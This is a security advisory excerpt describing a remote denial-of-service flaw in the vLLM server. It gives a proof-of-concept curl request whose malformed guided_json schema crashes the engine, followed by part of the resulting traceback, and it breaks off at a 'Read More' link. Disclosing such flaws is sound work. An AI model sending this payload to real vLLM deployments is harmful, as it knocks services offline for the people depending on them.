Summary Hitting the /v1/completions API with a invalid json_schema as a Guided Param will kill the vllm server Details The following API call (venv) [derekh@ip-172-31-15-108 ]$ curl -s https://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{"properties":{"reason":{"type": "stsring"}}}"}' will provoke a Uncaught exceptions from xgrammer in ./lib64/python3.11/site-packages/xgrammar/compiler.py Issue with more information: https://github.com/vllm-project/vllm/issues/17248 PoC Make a call to vllm with invalid json_scema e.g. {"properties":{"reason":{"type": "stsring"}}} curl -s https://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{"properties":{"reason":{"type": "stsring"}}}"}' Impact vllm crashes example traceback ERROR 03-26 17:25:01 [core.py:340] EngineCore hit an exception: Traceback (most recent call last): ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 333, in run_engine_core ERROR 03-26 17:25:01 [core.py:340] engine_core.run_busy_loop() ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 367, in…Read More
vLLM DOS: Remotely kill vllm over http with invalid JSON schema
